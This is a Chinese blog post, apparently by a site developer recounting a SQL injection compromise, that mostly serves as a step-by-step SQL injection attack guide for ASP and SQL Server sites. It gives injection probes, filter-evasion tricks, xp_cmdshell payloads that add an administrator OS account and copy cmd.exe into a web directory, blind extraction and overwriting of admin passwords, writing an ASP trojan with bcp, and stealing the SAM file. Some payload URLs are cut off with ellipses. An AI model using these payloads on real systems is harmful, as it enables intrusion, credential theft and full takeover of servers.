天天看點

sql注入--------學習篇一

下面是我的一點點經曆,如果您對此不感興趣可直接掠過看下一段:

小弟不才,之前曾做過幾個網站,因為網站不是很大學以為不用考慮太多網絡安全問題,是以對網站的安全沒做過多的考慮,誰知剛上線還 不 到一 個 月。。,就被YY黑客給光顧了,真TMD給面子啊! 既然問題來了就解決呗,進去網站剛打開網頁KB就提示攔截了www.xxxxx.網站木馬。。。⊙﹏⊙b汗   趕快看看源代碼吧“檢視”—》“源代碼”,記事本打開源檔案,網頁最底部多出“<script>%2%34%w%24%sr234%234</script>”,明白了問題所在那就進入伺服器删呗(反正網頁不是很多,如果很多的話,那就隻好用工具或其他辦法了,後面介紹)。删啊删。。終于全部删除了….本以為這下好了,終于可以休息下了,誰知道打開網站KB還是提示有木馬,狂汗-_-|||    ,這是怎麼的了,思考了幾秒,看看是不是資料庫裡……但是想想資料庫應該不會有問題吧,還是看看,打開資料庫一看,愣了所有新聞标題都給加了<script>%2%34%w%24%sr234%234</script>  我狂吐了。。。碰到如今最流行的黑客黑人方法了SQL注入。。。幸好LZ有備份,要不可慘了,那麼多資料我怎麼去給他删啊。。。資料恢複後問題終于解決了,,,問題雖然解決了,但是我還是不放心,萬一YY黑客再來可不好弄啊。。。是以決定好好研究。。。

 首先來說,sql注入格式除了上面的那種還有常見的另外一種格式<iframe src='http/XXXXXX/XXX.XX' width=0 height=0></iframe>

也許有些朋友對我上面說的事一頭霧水,那麼我們就從什麼是SQL注入說起吧。

所謂SQL注入,就是通過把SQL指令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL指令。随着B/S架構應用開發的發展,使用這種模式編寫程式的程式員也越來越多,而且這個行業的門檻比較低,故很多人都可以輕松的入門,但是水準的高低就相差很大了(這裡是很不好分辨的,高手與萊鳥的差別一個是網站的界面美觀另一個就是安全問題了)相當大一部分程式員在編寫代碼的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隐患。使用者可以送出一段資料庫查詢代碼,根據程式傳回的結果,獲得某些他想得知的資料,這就是所謂的SQL Injection,即SQL注入。目前很多高校的相關網站都是找學生做的,是以網絡安全問題更是嚴重,産生的很多漏洞成為了黑客的後門,本人就是這一類了,嘿嘿O(∩_∩)O~

但是SQL注入的方法很多,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,進而成功擷取想要的資料,是高手與“菜鳥”的根本差別。

Sql注入攻擊的基本思路是:

發現SQL注入位置,

判斷背景資料庫類型,

确定XP_CMDSHELL可執行情況,

發現Web虛拟目錄,

上傳ASP木馬,

得到管理者權限,

有了權限做你想做的東西

一、SQL注入漏洞的判斷,(方法很多很靈活)

一般來說,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等帶有參數的ASP動态網頁中,有時一個動态網頁中可能隻有一個參數,有時可能有N個參數,有時是整型參數,有時是字元串型參數,不能一概而論。總之隻要是帶有參數的動态網頁且此網頁通路了資料庫,那麼就有可能存在SQL注入。如果ASP程式員沒有安全意識,不進行必要的字元過濾,存在SQL注入的可能性就非常大。

為了全面了解動态網頁回答的資訊,首選請調整IE的配置。把IE菜單-工具-Internet選項-進階-顯示友好HTTP錯誤資訊前面的勾去掉。

為了把問題說明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY為例進行分析,YY可能是整型,也有可能是字元串。

整型參數的判斷

當輸入的參數YY為整型時,通常abc.asp中SQL語句原貌大緻如下:

select * from 表名 where 字段=YY,是以可以用以下步驟測試SQL注入是否存在。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一個單引号),此時abc.ASP中的SQL語句變成了

select * from 表名 where 字段=YY’,abc.asp運作異常;

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=1, abc.asp運作正常,而且與HTTP://xxx.xxx.xxx/abc.asp?p=YY運作結果相同;

③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2, abc.asp運作異常;

如果以上三步全面滿足,abc.asp中一定存在SQL注入漏洞。

字元型參數的判斷方法差不多,隻要有一定sql知識這些都是小Case了。。。。

有時ASP程式員會在程式員過濾掉單引号等字元,以防止SQL注入。此時可以用以下幾種方法試一試。

①大小定混合法:由于VBS并不區分大小寫,而程式員在過濾時通常要麼全部過濾大寫字元串,要麼全部過濾小寫字元串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;

②UNICODE法:在IIS中,以UNICODE字元集實作國際化,我們完全可以IE中輸入的字元串化成UNICODE字元串進行輸入。如+ =%2B,空格=%20 等;URLEncode資訊參見附件一;

③ASCII碼法:可以把輸入的部分或全部字元全部用ASCII碼代替,如U=chr(85),a=chr(97)等

其實程式員在程式設計時對與整形數字的判斷隻要判斷能否轉換為數值資料就行了,不能轉換就提示請求含有非法字元,OK了。。對于有固定格式的字元串資料,根據其特點判斷它的長度就行了,如果超出長度就提示有非法請求,沒必要做過多的什麼過濾吧(當然對于表單裡的輸入資料是要做相應的過濾的。。。)

二、區分資料庫類型

一般來說,ACCESS與SQL-SERVER是最常用的資料庫伺服器,盡管它們都支援T-SQL标準,但還有不同之處,而且不同的資料庫有不同的攻擊方法,必須要差別對待。

1、 利用資料庫伺服器的系統變量進行區分

SQL-SERVER有user,db_name()等系統變量,利用這些系統值不僅可以判斷SQL-SERVER,而且還可以得到大量有用資訊。如:

① HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到目前連接配接到資料庫的使用者名

②HTTP://xxx.xxx.xxx/abc.asp?p=YY&n ... db_name()>0 不僅可以判斷是否是SQL-SERVER,而還可以得到目前正在使用的資料庫名;

2、利用系統表

ACCESS的系統表是msysobjects,且在WEB環境下沒有通路權限,而SQL-SERVER的系統表是sysobjects,在WEB環境下有通路權限。對于以下兩條語句:

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from sysobjects)>0

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from msysobjects)>0

若資料庫是SQL-SERVE,則第一條,abc.asp一定運作正常,第二條則異常;若是ACCESS則兩條都會異常。

其實對資料庫的判斷有時候正常方法是行不通的,就要采取其他的方法了,看情況分析。

三、确定XP_CMDSHELL可執行情況(這一步的執行是在前面兩步的基礎上的,如果沒有找到能進行sql注入的地方,這裡就無從談起了)

若目前連接配接資料的帳号具有SA權限,且master.dbo.xp_cmdshell擴充存儲過程(調用此存儲過程可以直接使用作業系統的shell)能夠正确執行,則整個計算機可以通過以下幾種方法完全控制,以後的所有步驟都可以省

1、HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... er>0 abc.asp執行異常但可以得到目前連接配接資料庫的使用者名(若顯示dbo則代表SA)。

2、HTTP://xxx.xxx.xxx/abc.asp?p=YY ... me()>0 abc.asp執行異常但可以得到目前連接配接的資料庫名。

3、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主資料庫;名中的分号表示SQL-SERVER執行完分号前的語句名,繼續執行其後面的語句;“—”号是注解,表示其後面的所有内容僅為注釋,系統并不執行)可以直接增加作業系統帳戶aaa,密碼為bbb。

4、HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把剛剛增加的帳戶aaa加到administrators組中。

5、HTTP://xxx.xxx.xxx/abc.asp?p=YY;backuup database 資料庫名 to disk='c:/inetpub/wwwroot/save.db' 則把得到的資料内容全部備份到WEB目錄下,再用HTTP把此檔案下載下傳(當然首選要知道WEB虛拟目錄)。

6、通過複制CMD建立UNICODE漏洞

HTTP://xxx.xxx.xxx/abc.asp?p=YY;exe ... dbo.xp_cmdshell “copy c:/winnt/system32/cmd.exe c:/inetpub/scripts/cmd.exe” 便制造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機的控制(當然首選要知道WEB虛拟目錄)。

四、發現web虛拟目錄

隻有找到WEB虛拟目錄,才能确定放置ASP木馬的位置,進而得到USER權限。有兩種方法比較有效。

一是根據經驗猜解,一般來說,WEB虛拟目錄是:c:/inetpub/wwwroot; D:/inetpub/wwwroot; E:/inetpub/wwwroot等,而可執行虛拟目錄是:c:/inetpub/scripts; D:/inetpub/scripts; E:/inetpub/scripts等。

二是周遊系統的目錄結構,分析結果并發現WEB虛拟目錄;

先建立一個臨時表:temp

HTTP://xxx.xxx.xxx/abc.asp?p=YY;create&n ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

接下來:

(1)我們可以利用xp_availablemedia來獲得目前所有驅動器,并存入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--

我們可以通過查詢temp的内容來獲得驅動器清單及相關資訊

(2)我們可以利用xp_subdirs獲得子目錄清單,并存入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:/';--

(3)我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結構,并寸入temp表中:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:/';--

這樣就可以成功的浏覽到所有的目錄(檔案夾)清單

注意:

1、以上每完成一項浏覽後,應删除TEMP中的所有内容,删除方法是:

HTTP://xxx.xxx.xxx/abc.asp?p=YY;delete from temp;--

2、浏覽TEMP表的方法是:(假設TestDB是目前連接配接的資料庫名)

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top& ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一條記錄id字段的值,并與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現id字段的值。假設發現的表名是xyz,則

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二條記錄id字段的值。

(其實這一步可以通過相應的工具來進行,如明小子注入工具)

五、上傳ASP木馬

所謂ASP木馬,就是一段有特殊功能的ASP代碼,并放入WEB虛拟目錄的Scripts下,遠端客戶通過IE就可執行它,進而得到系統的USER權限,實作對系統的初步控制。上傳ASP木馬一般有兩種比較有效的方法:

1、利用WEB的遠端管理功能

許多WEB站點,為了維護的友善,都提供了遠端管理的功能;也有不少WEB站點,其内容是對于不同的使用者有不同的通路權限。為了達到對使用者權限的控制,都有一個網頁,要求使用者名與密碼,隻有輸入了正确的值,才能進行下一步的操作,可以實作對WEB的管理,如上傳、下載下傳檔案,目錄浏覽、修改配置等。

是以,若擷取正确的使用者名與密碼,不僅可以上傳ASP木馬,有時甚至能夠直接得到USER權限而浏覽系統,上一步的“發現WEB虛拟目錄”的複雜操作都可省略。

使用者名及密碼一般存放在一張表中,發現這張表并讀取其中内容便解決了問題。以下給出兩種有效方法。

A、 注入法:

從理論上說,認證網頁中會有型如:

select * from admin where username='XXX' and password='YYY' 的語句,若在正式運作此句之前,沒有進行必要的字元過濾,則很容易實施SQL注入。

如在使用者名文本框内輸入:abc’ or 1=1-- 在密碼框内輸入:123 則SQL語句變成:

select * from admin where username='abc’ or 1=1 and password='123’ 不管使用者輸入任何使用者名與密碼,此語句永遠都能正确執行,使用者輕易騙過系統,擷取合法身份。

B、猜解法:

基本思路是:猜解所有資料庫名稱,猜出庫中的每張表名,分析可能是存放使用者名與密碼的表名,猜出表中的每個字段名,猜出表中的每條記錄内容。

l 猜解所有資料庫名稱

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) <>0 因為 dbid 的值從1到5,是系統用了。是以使用者自己建的一定是從6開始的。并且我們送出了 name>1 (name字段是一個字元型的字段和數字比較會出錯),abc.asp工作異常,可得到第一個資料庫名,同理把DBID分别改成7,8,9,10,11,12…就可得到所有資料庫名。

以下假設得到的資料庫名是TestDB。

l 猜解資料庫中使用者名表的名稱

猜解法:此方法就是根據個人的經驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進行判斷

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到系統帳号表的名稱。

讀取法:SQL-SERVER有一個存放系統核心資訊的表sysobjects,有關一個庫的所有表,視圖等資訊全部存放在此表中,而且此表可以通過WEB進行通路。

當xtype='U' and status>0代表是使用者建立的表,發現并分析每一個使用者建立的表及名稱,便可以得到使用者名表的名稱,基本的實作方法是:

①HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一個使用者建立表的名稱,并與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現表的名稱。假設發現的表名是xyz,則

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjects& ... tatus>0 and name not in('xyz'))>0 可以得到第二個使用者建立的表的名稱,同理就可得到所有用建立的表的名稱。

根據表的名稱,一般可以認定那張表使用者存放使用者名及密碼,以下假設此表名為Admin。

l 猜解使用者名字段及密碼字段名稱

admin表中一定有一個使用者名字段,也一定有一個密碼字段,隻有得到此兩個字段的名稱,才有可能得到此兩字段的内容。如何得到它們的名稱呢,同樣有以下兩種方法。

猜解法:此方法就是根據個人的經驗猜字段名,一般來說,使用者名字段的名稱常用:username,name,user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進行判斷

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”語句得到表的行數,是以若字段名存在,則abc.asp工作正常,否則異常。如此循環,直到猜到兩個字段的名稱。

讀取法:基本的實作方法是

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個字段名,當與整數進行比較,顯然abc.asp工作異常,但在異常中卻可以發現字段的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

l 猜解使用者名與密碼

猜使用者名與密碼的内容最常用也是最有效的方法有:

ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的。基本的思路是先猜出字段的長度,然後依次猜出每一位的值。猜使用者名與猜密碼的方法相同,以下以猜使用者名為例說明其過程。

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top&n ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username為使用者名字段的名稱,admin為表的名稱),若x為某一值i且abc.asp運作正常時,則i就是第一個使用者名的長度。如:當輸入

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.asp運作正常,則第一個使用者名的長度為8

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的使用者名長度之間,當m=1,2,3,…時猜測分别猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統使用者帳号表的名稱),若n為某一值i且abc.asp運作正常時,則i對應ASCII碼就是使用者名某一位值。如:當輸入

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.asp運作正常,則使用者名的第三位為P(P的ASCII為80);

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.asp運作正常,則使用者名的第9位為!(!的ASCII為80);

猜到第一個使用者名及密碼後,同理,可以猜出其他所有使用者名與密碼。注意:有時得到的密碼可能是經MD5等方式加密後的資訊,還需要用專用工具進行脫密。或者先改其密碼,使用完後再改回來,見下面說明。

簡單法:猜使用者名用

HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一個字段,username是使用者名字段,此時abc.asp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二使用者名,第三個使用者等等,直到表中的所有使用者名。

猜使用者密碼:HTTP://xxx.xxx.xxx/abc.asp?p=YY and (select top 1&nb ... B.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時abc.asp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二使用者名的密碼,第三個使用者的密碼等等,直到表中的所有使用者的密碼。密碼有時是經MD5加密的,可以改密碼。

HTTP://xxx.xxx.xxx/abc.asp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的使用者名)

用同樣的方法當然可把密碼改原來的值。

2、利用表内容導成檔案功能

SQL有BCP指令,它可以把表的内容導成文本檔案并放到指定位置。利用這項功能,我們可以先建一張臨時表,然後在表中一行一行地輸入一個ASP木馬,然後用BCP指令導出形成ASP檔案。

指令行格式如下:

bcp "select * from text..foo" queryout c:/inetpub/wwwroot/runcommand.asp –c –S localhost –U sa –P foobar ('S'參數為執行查詢的伺服器,'U'參數為使用者名,'P'參數為密碼,最終上傳了一個runcommand.asp的木馬)

六、得到系統的管理權限

ASP木馬隻有USER權限,要想擷取對系統的完全控制,還要有系統的管理者權限。怎麼辦?提升權限的方法有很多種:

上傳木馬,修改開機自動運作的.ini檔案(它一重新開機,便死定了);

複制CMD.exe到scripts,人為制造UNICODE漏洞;

下載下傳SAM檔案,破解并擷取OS的所有使用者名密碼;

等等,視系統的具體情況而定,可以采取不同的方法。

七、幾個SQL-SERVER專用手段

1、利用xp_regread擴充存儲過程修改系統資料庫

[xp_regread]另一個有用的内置存儲過程是xp_regXXXX類的函數集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistring,Xp_regwrite)。攻擊者可以利用這些函數修改系統資料庫,如讀取SAM值,允許建立空連接配接,開機自動運作程式等。如:

exec xp_regread HKEY_LOCAL_MACHINE,'SYSTEM/CurrentControlSet/Services/lanmanserver/parameters', 'nullsessionshares' 确定什麼樣的會話連接配接在伺服器可用。

exec xp_regenumvalues HKEY_LOCAL_MACHINE,'SYSTEM/CurrentControlSet/Services/snmp/parameters/validcommunities' 顯示伺服器上所有SNMP團體配置,有了這些資訊,攻擊者或許會重新配置同一網絡中的網絡裝置。

2、利用其他存儲過程去改變伺服器

xp_servicecontrol過程允許使用者啟動,停止服務。如:

(exec master..xp_servicecontrol 'start','schedule'

exec master..xp_servicecontrol 'start','server')

Xp_availablemedia 顯示機器上有用的驅動器

Xp_dirtree 允許獲得一個目錄樹

Xp_enumdsn 列舉伺服器上的ODBC資料源

Xp_loginconfig 擷取伺服器安全資訊

Xp_makecab 允許使用者在伺服器上建立一個壓縮檔案

Xp_ntsec_enumdomains 列舉伺服器可以進入的域

Xp_terminate_process 提供程序的程序ID,終止此程序